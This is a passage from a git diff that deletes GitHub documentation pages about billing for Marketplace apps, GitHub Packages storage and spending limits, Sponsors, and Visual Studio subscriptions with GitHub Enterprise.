reusables.profile.org_settings %} -{% data reusables.organizations.billing_plans %} -{% data reusables.marketplace.downgrade-app-billing-settings %} -{% data reusables.marketplace.choose-new-plan %} -{% data reusables.marketplace.choose-new-quantity %} -{% data reusables.marketplace.issue-plan-changes %} - -## Downgrading an app in your enterprise - -{% data reusables.marketplace.marketplace-enterprise-account %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.billing-tab %} -1. In the "Marketplace apps" tab, find the app you want to downgrade. -1. Next to the organization where you want to downgrade the app, select **{% octicon "kebab-horizontal" aria-label="More" %}** and then click **Change plan**. -1. Select the **Edit your plan** dropdown and click an account's plan to edit. -{% data reusables.marketplace.choose-new-plan %} -{% data reusables.marketplace.choose-new-quantity %} -{% data reusables.marketplace.issue-plan-changes %} - -## Further reading - -* [AUTOTITLE](/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app) diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/index.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/index.md deleted file mode 100644 index f0a575228bd7..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Managing billing for GitHub Marketplace apps -shortTitle: GitHub Marketplace apps -intro: 'You can upgrade, downgrade, or cancel {% data variables.product.prodname_marketplace %} apps at any time.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps - - /articles/managing-your-personal-account-s-apps - - /articles/managing-your-organization-s-apps - - /articles/managing-billing-for-github-marketplace-apps - - /billing/managing-billing-for-github-marketplace-apps -versions: - fpt: '*' - ghec: '*' -children: - - /about-billing-for-github-marketplace - - /upgrading-the-billing-plan-for-a-github-marketplace-app - - /downgrading-the-billing-plan-for-a-github-marketplace-app - - /canceling-a-github-marketplace-app ---- - diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md deleted file mode 100644 index 9208e5ade6c6..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Upgrading the billing plan for a GitHub Marketplace app -intro: 'You can upgrade your {% data variables.product.prodname_marketplace %} app to a different plan at any time.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-the-billing-plan-for-a-github-marketplace-app - - /articles/upgrading-an-app-for-your-personal-account - - /articles/upgrading-an-app-for-your-organization - - /articles/upgrading-the-billing-plan-for-a-github-marketplace-app - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app - - /billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Marketplace - - Organizations - - Upgrades - - User account -shortTitle: Upgrade billing plan ---- - -{% ifversion fpt %}{% data reusables.marketplace.marketplace-app-page %}{% endif %} - -When you upgrade an app, your payment method is charged a prorated amount based on the time remaining until your next billing date. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace). - -## Upgrading an app for your personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.marketplace.upgrade-app-billing-settings %} -{% data reusables.marketplace.choose-new-plan %} -{% data reusables.marketplace.choose-new-quantity %} -{% data reusables.marketplace.issue-plan-changes %} - -## Upgrading an app for your organization - -{% data reusables.marketplace.marketplace-org-perms %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.billing_plans %} -{% data reusables.marketplace.upgrade-app-billing-settings %} -{% data reusables.marketplace.choose-new-plan %} -{% data reusables.marketplace.choose-new-quantity %} -{% data reusables.marketplace.issue-plan-changes %} - -## Upgrading an app in your enterprise - -{% data reusables.marketplace.marketplace-enterprise-account %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.billing-tab %} -1. In the "Marketplace apps" tab, find the app you want to upgrade. -1. Next to the organization where you want to upgrade the app, select **{% octicon "kebab-horizontal" aria-label="More" %}** and then click **Change plan**. -1. Select the **Edit your plan** dropdown and click an account's plan to edit. -{% data reusables.marketplace.choose-new-plan %} -{% data reusables.marketplace.choose-new-quantity %} -{% data reusables.marketplace.issue-plan-changes %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/about-billing-for-github-packages.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/about-billing-for-github-packages.md deleted file mode 100644 index 9f14a662dcb5..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/about-billing-for-github-packages.md +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: About billing for GitHub Packages -intro: 'If you want to use {% data variables.product.prodname_registry %} beyond the storage or data transfer included in your account, you will be billed for additional usage.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-packages - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages/about-billing-for-github-packages - - /billing/managing-billing-for-github-packages/about-billing-for-github-packages -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Packages - - Spending limits -shortTitle: About billing ---- - -{% data reusables.billing.enhanced-billing-platform %} - -## About billing for {% data variables.product.prodname_registry %} - -{% ifversion billing-auth-and-capture %} - -{% data reusables.billing.authorization-charge %} - -{% endif %} - -{% data reusables.package_registry.packages-billing %} - -{% data reusables.package_registry.packages-spending-limit-brief %} For more information, see [About spending limits](#about-spending-limits). - -> [!NOTE] -> **Billing update for container image storage:** The period of free use for container image storage and bandwidth for the {% data variables.product.prodname_container_registry %} has been extended. If you are using {% data variables.product.prodname_container_registry %} you'll be informed at least one month in advance of billing commencing and you'll be given an estimate of how much you should expect to pay. For more information about the {% data variables.product.prodname_container_registry %}, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-container-registry). - -If you are an organization owner{% ifversion ghec %} or enterprise owner{% endif %}, you can connect an Azure Subscription ID to your organization {% ifversion ghec %}or enterprise{% endif %} account to enable and pay for {% data variables.product.prodname_registry %} usage beyond the amounts including with your account. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). - -Data transfer resets every month, while storage usage does not. - -{% rowheaders %} - -Plan | Storage | Data transfer (per month) -------- | ------- | --------- -{% data variables.product.prodname_free_user %} | 500MB | 1GB -{% data variables.product.prodname_pro %} | 2GB | 10GB -{% data variables.product.prodname_free_team %} for organizations | 500MB | 1GB | -{% data variables.product.prodname_team %} | 2GB | 10GB -{% data variables.product.prodname_ghe_cloud %} | 50GB | 100GB - -{% endrowheaders %} - -All data transferred out, when triggered by {% data variables.product.prodname_actions %}, and data transferred in from any source is free. We determine you are downloading packages using {% data variables.product.prodname_actions %} when you log in to {% data variables.product.prodname_registry %} using a `GITHUB_TOKEN`. - -{% rowheaders %} - -||Hosted|Self-Hosted| -|-|-|-| -|Access using a `GITHUB_TOKEN`|Free|Free| -|Access using a {% data variables.product.pat_generic %}|Free|Paid| - -{% endrowheaders %} - -Storage usage is shared with build artifacts produced by {% data variables.product.prodname_actions %} for repositories owned by your account. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). - -{% data variables.product.prodname_dotcom %} charges usage to the account that owns the repository where the package is published. If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.008 USD per GB of storage per day and $0.50 USD per GB of data transfer. - -For example, if your organization uses {% data variables.product.prodname_team %}, allows unlimited spending, uses 150GB of storage, and has 50GB of data transfer out during a month, the organization would have overages of 148GB for storage and 40GB for data transfer for that month. The storage overage would cost $0.008 USD per GB per day or approximately $37 USD for a 31-day month. The overage for data transfer would cost $0.50 USD per GB or $20 USD. - -{% data reusables.dotcom_billing.pricing_calculator.pricing_cal_packages %} - -At the end of the month, {% data variables.product.prodname_dotcom %} rounds your data transfer to the nearest GB. - -{% data variables.product.prodname_dotcom %} calculates your storage usage for each month based on hourly usage per GB during that month. For example, if you use 3 GB of storage for 10 days of March and 12 GB for 21 days of March, your storage usage would be: - -* 3 GB x 10 days x (24 hours per day) = 720 GB-Hours -* 12 GB x 21 days x (24 hours per day) = 6,048 GB-Hours -* 720 GB-Hours + 6,048 GB-Hours = 6,768 total GB-Hours -* 6,768 GB-Hours / (744 hours per month) = 9.0967 GB-Months - -At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. Therefore, your storage usage for March would be 9.097 GB. - -You can also use this calculation in the middle of a billing cycle, to estimate what your total usage might be for the month. For example, if you have an organization that uses {% data variables.product.prodname_team %}, which provides 2 GB of free storage, and you use 0 GB for the first 5 days of April, 1.5 GB for the following 10 days, and you plan to use 3 GB for the last 15 days of the billing cycle, your projected storage usage for the month would be: - -* 0 GB x 5 days x (24 hours per day) = 0 GB-Hours -* 0.5 GB x 10 days x (24 hours per day) = 120 GB-Hours -* 3 GB x 15 days x (24 hours per day) = 1080 GB-Hours -* 0 GB-Hours + 120 GB-Hours + 1080 GB-Hours = 1200 total GB-Hours -* 1200 GB-Hours / (744 hours per month) = 1.6 GB-Months - -The projected 1.6 GB of storage usage for the month would not exceed your 2 GB limit, even though your actual storage amount briefly exceeded 2 GB. - -Your {% data variables.product.prodname_registry %} usage shares your account's existing billing date, payment method, and receipt. {% data reusables.dotcom_billing.view-all-subscriptions %} - -{% data reusables.user-settings.context_switcher %} - -## About spending limits - -{% data reusables.package_registry.packages-spending-limit-detailed %} - -To prevent exceeding your spending limit, {% data variables.product.prodname_dotcom %} checks your storage consumption continuously throughout the month by looking at your current usage and calculating what your projected usage will be at the end of the month if no changes are made before that time. If at any point during the billing cycle your projected monthly usage exceeds your spending limit, both {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %} will be disabled to prevent overages. - -You should set a spending limit that will cover your maximum projected storage usage at any given point in the billing cycle. For example, imagine you have an organization that uses {% data variables.product.prodname_team %}, and you set a spending limit of $50 USD. {% data variables.product.prodname_team %} provides 2 GB of free storage. For any storage you use over that amount, {% data variables.product.prodname_dotcom %} will charge $0.008 USD per GB per day, or approximately $0.25 USD per GB for a 31-day month. That means the $50 spending limit you set will pay for an extra 200 GB of storage in that period. If on day ten of the billing cycle you reach 202 GB of storage, the next push of a package or {% data variables.product.prodname_actions %} artifact will fail, because you have reached the maximum storage amount that can be paid for by your spending limit in this billing cycle, even if your average consumption for the period is below 202 GB. - -To avoid reaching your spending limit in the current billing cycle, you can delete some of your current storage usage to free up projected usage for the rest of the month. This method is more effective toward the beginning of a billing cycle. The closer you get to the end of a billing cycle, the less impact this method will have on projected monthly usage. - -For more information about managing and changing your account's spending limit, see [AUTOTITLE](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages). - -{% data reusables.dotcom_billing.actions-packages-unpaid-account %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/index.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/index.md deleted file mode 100644 index e7fb5adf8e7b..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Managing billing for GitHub Packages -shortTitle: GitHub Packages -intro: 'You can view your {% data variables.product.prodname_registry %} usage and set a spending limit for {% data variables.product.prodname_registry %}.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages - - /billing/managing-billing-for-github-packages -versions: - fpt: '*' - ghec: '*' -children: - - /about-billing-for-github-packages - - /viewing-your-github-packages-usage - - /managing-your-spending-limit-for-github-packages ---- - -{% data reusables.billing.enhanced-billing-platform %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages.md deleted file mode 100644 index c215c1481cc8..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Managing your spending limit for GitHub Packages -intro: 'You can set a spending limit for {% data variables.product.prodname_registry %} usage.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-spending-limit-for-github-packages - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages - - /billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Enterprise - - Organizations - - Packages - - Spending limits - - User account -shortTitle: Your spending limit ---- - -{% data reusables.billing.enhanced-billing-platform %} - -## About spending limits for {% data variables.product.prodname_registry %} - -{% data reusables.package_registry.packages-billing %} - -{% data reusables.package_registry.packages-spending-limit-brief %} - -{% data reusables.actions.actions-packages-set-spending-limit %} For more information about pricing for {% data variables.product.prodname_registry %} usage, see [AUTOTITLE](/billing/managing-billing-for-github-packages/about-billing-for-github-packages). - -If you are an organization owner{% ifversion ghec %} or enterprise owner{% endif %}, you can connect an Azure Subscription ID to your organization {% ifversion ghec %}or enterprise{% endif %} account to enable and pay for {% data variables.product.prodname_registry %} usage beyond the amounts including with your account. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). - -As soon as you set a spending limit other than $0, you will be responsible for any existing overages in the current billing period. For example, if your organization uses {% data variables.product.prodname_team %}, does not allow overages, and publishes a new version of a private package that increases your storage usage for the month from 1.9GB to 2.1GB, publishing the version will use slightly more than the 2GB your product includes. - -Because you have not enabled overages, your next attempt to publish a version of the package will fail. You will not receive a bill for the 0.1GB overage that month. However, if you enable overages, your first bill will include the 0.1GB of existing overage for the current billing cycle, as well as any additional overages you accrue. - -## Managing the spending limit for {% data variables.product.prodname_registry %} for your personal account - -Anyone can manage the spending limit for {% data variables.product.prodname_registry %} for their own personal account. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.dotcom_billing.manage-spending-limit %} -{% data reusables.dotcom_billing.monthly-spending-limit-actions-packages %} -{% data reusables.dotcom_billing.update-spending-limit %} - -## Managing the spending limit for {% data variables.product.prodname_registry %} for your organization - -Organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_registry %} for an organization. - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.manage-spending-limit %} -1. Under "Monthly spending limit", choose to limit spending or allow unlimited spending. - - > [!NOTE] - > If {% data variables.product.prodname_github_codespaces %} is enabled for your organization, scroll to "Actions & Packages", then choose to limit spending or allow unlimited spending. - -{% data reusables.dotcom_billing.update-spending-limit %} - -{% ifversion ghec %} - -## Managing the spending limit for {% data variables.product.prodname_registry %} for your enterprise account - -Enterprise owners and billing managers can manage the spending limit for {% data variables.product.prodname_registry %} for an enterprise account. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. On the "Billing" page, click the **Spending limit** tab. - - ![Screenshot of the "Billing" page. A tab labeled "Spending limit" is highlighted with an orange outline.](/assets/images/help/settings/spending-limit-tab-enterprise.png) - -{% data reusables.dotcom_billing.monthly-spending-limit-actions-packages %} -{% data reusables.dotcom_billing.update-spending-limit %} -{% endif %} - -## Managing usage and spending limit email notifications - -{% data reusables.billing.email-notifications %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/viewing-your-github-packages-usage.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/viewing-your-github-packages-usage.md deleted file mode 100644 index 5e731a9d2dbb..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-packages/viewing-your-github-packages-usage.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Viewing your GitHub Packages usage -intro: 'You can view details of your usage of storage and data transfer for {% data variables.product.prodname_registry %}.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-packages-usage - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages/viewing-your-github-packages-usage - - /billing/managing-billing-for-github-packages/viewing-your-github-packages-usage -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Enterprise - - Packages - - Organizations - - User account -shortTitle: View your usage ---- - -{% data reusables.billing.enhanced-billing-platform %} - -## Viewing {% data variables.product.prodname_registry %} usage for your personal account - -Anyone can view {% data variables.product.prodname_registry %} usage for their own personal account. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.dotcom_billing.packages-data %} -{% data reusables.dotcom_billing.actions-packages-storage %} -{% data reusables.dotcom_billing.actions-packages-report-download %} - -## Viewing {% data variables.product.prodname_registry %} usage for your organization - -Organization owners and billing managers can view {% data variables.product.prodname_registry %} usage for an organization. For organizations managed by an enterprise account, only the organization owners can view {% data variables.product.prodname_registry %} usage in the organization billing page. - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.packages-data %} -{% data reusables.dotcom_billing.actions-packages-storage %} -{% data reusables.dotcom_billing.actions-packages-report-download-org-account %} - -{% ifversion ghec %} - -## Viewing {% data variables.product.prodname_registry %} usage for your enterprise account - -Enterprise owners and billing managers can view {% data variables.product.prodname_registry %} usage for an enterprise account. - -> [!NOTE] -> Billing details for enterprise accounts only summarize the storage data usage per organization. {% data reusables.actions.enterprise-billing-details %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Under "{% data variables.product.prodname_registry %}", view details of usage of data transfer by each organization in your enterprise account. -{% data reusables.dotcom_billing.actions-packages-storage-enterprise-account %} -{% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %} -{% endif %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/about-billing-for-github-sponsors.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/about-billing-for-github-sponsors.md deleted file mode 100644 index 09cf7d57d64d..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/about-billing-for-github-sponsors.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: About billing for GitHub Sponsors -intro: You will be billed for your sponsorships with the rest of your paid products and features. -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-sponsors - - /articles/about-billing-for-github-sponsors - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors/about-billing-for-github-sponsors - - /billing/managing-billing-for-github-sponsors/about-billing-for-github-sponsors -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Sponsors -shortTitle: About billing ---- -{% data reusables.sponsors.sponsorship-details %} - -{% data reusables.sponsors.no-fees %} - -{% data reusables.dotcom_billing.view-all-subscriptions %} - -{% data reusables.user-settings.context_switcher %} - -## Further reading - -* [AUTOTITLE](/sponsors/getting-started-with-github-sponsors/about-github-sponsors) -* [AUTOTITLE](/sponsors/sponsoring-open-source-contributors) diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/downgrading-a-sponsorship.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/downgrading-a-sponsorship.md deleted file mode 100644 index 7b6184085486..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/downgrading-a-sponsorship.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Downgrading a sponsorship -intro: You can downgrade your sponsorship to a lower tier or cancel your sponsorship. -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship - - /articles/downgrading-a-sponsorship - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors/downgrading-a-sponsorship - - /billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Cancellation - - Downgrades - - Sponsors ---- - -## About sponsorship downgrades - -When you downgrade or cancel a sponsorship, the change will become effective on your next billing date. {% data reusables.sponsors.no-refunds %} - -## Downgrading a sponsorship - -{% data reusables.sponsors.navigate-to-sponsored-account %} -{% data reusables.sponsors.sponsorship-dashboard %} -{% data reusables.sponsors.review-tiers-to-select %} -{% data reusables.sponsors.select-a-tier %} -{% data reusables.sponsors.update-sponsorship %} - -## Canceling a sponsorship - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.sponsors.billing-switcher %} -1. Under "{% data variables.product.prodname_sponsors %}", next to the sponsored account, click your current tier amount, then click **Cancel sponsorship**. -1. Review the alert about canceling your sponsorship, then click **OK**. - -## Canceling a scheduled sponsorship - -Organizations that pay for {% data variables.product.prodname_sponsors %} by invoice can schedule the first payment for the next billing date. You can cancel the scheduled sponsorship before it becomes active. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing and plans**. -1. Under "{% data variables.product.prodname_sponsors %}", in the yellow banner with the start date, click **Undo**. -1. Review the alert about undoing the activation of the sponsorship, then click **OK**. diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/index.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/index.md deleted file mode 100644 index 03173cd80b58..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Managing billing for GitHub Sponsors -shortTitle: GitHub Sponsors -intro: You can upgrade or downgrade the tier for each of your sponsorships. -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors - - /articles/managing-billing-for-github-sponsors - - /billing/managing-billing-for-github-sponsors -versions: - fpt: '*' - ghec: '*' -children: - - /about-billing-for-github-sponsors - - /upgrading-a-sponsorship - - /downgrading-a-sponsorship - - /setting-an-end-date-to-a-sponsorship ---- diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/setting-an-end-date-to-a-sponsorship.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/setting-an-end-date-to-a-sponsorship.md deleted file mode 100644 index b4b06c612ebc..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/setting-an-end-date-to-a-sponsorship.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Setting an end date to a sponsorship -intro: You can set an end date to an existing or new sponsorship. -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /billing/managing-billing-for-github-sponsors/setting-an-end-date-to-a-sponsorship -type: how_to -topics: - - Sponsors -shortTitle: Setting an end date ---- - -You can set an end date to your sponsorship. The end date assigned will be the last date for which you will be charged for that sponsorship, but the sponsorship will show active for another month. For example, if October 2023 is set as the end date, the last sponsorship will be charged in October 2023, but the sponsorship will be shown as active until November 2023. For more information about setting an end date to a new sponsorship, see [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor). - -## Setting an end date for an existing sponsorship - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.navigate-to-sponsoring %} -1. Next to the sponsorship you want to set an end date for, click **Manage**, and then **Manage sponsorship**. - - ![Screenshot of a sponsorship. The "Manage" dropdown menu is expanded and "Manage sponsorship" is outlined in dark orange.](/assets/images/help/sponsors/manage-sponsorship.png) - -{% data reusables.sponsors.setting-an-end-date %} -{% data reusables.sponsors.update-sponsorship %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/upgrading-a-sponsorship.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/upgrading-a-sponsorship.md deleted file mode 100644 index 9c2ba14598fc..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-sponsors/upgrading-a-sponsorship.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Upgrading a sponsorship -intro: You can upgrade your sponsorship to a higher tier. -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship - - /articles/upgrading-a-sponsorship - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors/upgrading-a-sponsorship - - /billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Sponsors - - Upgrades ---- - -## About sponsorship upgrades - -When you upgrade your sponsorship tier, the change will become effective immediately. {% data reusables.sponsors.prorated-sponsorship %} - -## Upgrading a sponsorship - -{% data reusables.sponsors.navigate-to-sponsored-account %} -{% data reusables.sponsors.sponsorship-dashboard %} -{% data reusables.sponsors.review-tiers-to-select %} -{% data reusables.sponsors.select-a-tier %} -{% data reusables.sponsors.update-sponsorship %} diff --git a/content/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md b/content/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md deleted file mode 100644 index b9b6f6c167a3..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: About Visual Studio subscriptions with GitHub Enterprise -intro: 'You can give {% data variables.product.prodname_vs %} subscribers on your team access to {% data variables.product.prodname_enterprise %} with a combined offering from Microsoft.' -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/managing-licenses-for-visual-studio-subscription-with-github-enterprise - - /github/setting-up-and-managing-your-enterprise/managing-licenses-for-the-github-enterprise-and-visual-studio-bundle - - /github/setting-up-and-managing-your-enterprise-account/managing-licenses-for-the-github-enterprise-and-visual-studio-bundle - - /github/articles/about-the-github-and-visual-studio-bundle - - /articles/about-the-github-and-visual-studio-bundle - - /github/setting-up-and-managing-your-enterprise-account/managing-licenses-for-visual-studio-subscription-with-github-enterprise - - /github/setting-up-and-managing-your-enterprise/managing-licenses-for-visual-studio-subscription-with-github-enterprise - - /billing/managing-your-license-for-github-enterprise/managing-licenses-for-visual-studio-subscription-with-github-enterprise - - /billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise -versions: - ghec: '*' -type: overview -topics: - - Enterprise - - Licensing -shortTitle: About ---- - -> [!NOTE] Usage-based billing is not currently supported for {% data variables.visual_studio.prodname_vss_ghe %}. - -{% data reusables.enterprise-accounts.vss-ghe-description %} {% data variables.visual_studio.prodname_vss_ghe %} is available from Microsoft under the terms of the Microsoft Enterprise Agreement. For more information, see [{% data variables.visual_studio.prodname_vss_ghe %}](https://visualstudio.microsoft.com/subscriptions/visual-studio-github/) on the {% data variables.product.prodname_vs %} website. - -To use the {% data variables.product.prodname_enterprise %} portion of the license, each subscriber's personal account on {% data variables.product.prodname_dotcom %} must be or become a member of an organization owned by your enterprise on {% data variables.product.prodname_dotcom %}. To accomplish this, organization owners can invite new members to an organization by email address. The subscriber can accept the invitation with an existing personal account or create a new account. - -For more information about the setup of {% data variables.visual_studio.prodname_vss_ghe %}, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise). - -## About licenses for {% data variables.visual_studio.prodname_vss_ghec %} - -After you assign a license for {% data variables.visual_studio.prodname_vss_ghec %} to a subscriber, the subscriber will use the {% data variables.product.prodname_enterprise %} portion of the license by joining an organization in your enterprise with a personal account on {% data variables.product.prodname_dotcom %}. If the verified email address for the personal account of an enterprise member on {% data variables.product.prodname_dotcom %} matches the User Principal Name (UPN) for a subscriber to your {% data variables.product.prodname_vs %} account, the {% data variables.product.prodname_vs %} subscriber will automatically consume one license for {% data variables.visual_studio.prodname_vss_ghec %}. - -> [!NOTE] For {% data variables.product.prodname_emu %} only, to make sure a user account consumes a {% data variables.product.prodname_vs %} license, ensure the {% data variables.product.prodname_vs %} UPN matches the SCIM `userName` attribute or the email address from the linked identity on the {% data variables.product.prodname_dotcom %} account. - -The total quantity of your licenses for your enterprise on {% data variables.product.prodname_dotcom %} is the sum of any standard {% data variables.product.prodname_enterprise %} licenses and the number of {% data variables.product.prodname_vs %} subscription licenses that include access to {% data variables.product.prodname_dotcom %}. If the personal account for an enterprise member does not correspond with the email address for a {% data variables.product.prodname_vs %} subscriber, the license that the personal account consumes is unavailable for a {% data variables.product.prodname_vs %} subscriber. - -For more information about {% data variables.product.prodname_enterprise %}, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans#github-enterprise). For more information about accounts on {% data variables.product.prodname_dotcom %}, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). - -You can view the number of {% data variables.product.prodname_enterprise %} licenses available to your enterprise on {% data variables.location.product_location %}. The list of pending invitations includes subscribers who are not yet members of at least one organization in your enterprise. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account) and [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-and-outside-collaborators). - -> [!TIP] If you download a CSV file with your enterprise's license usage in step 6 of 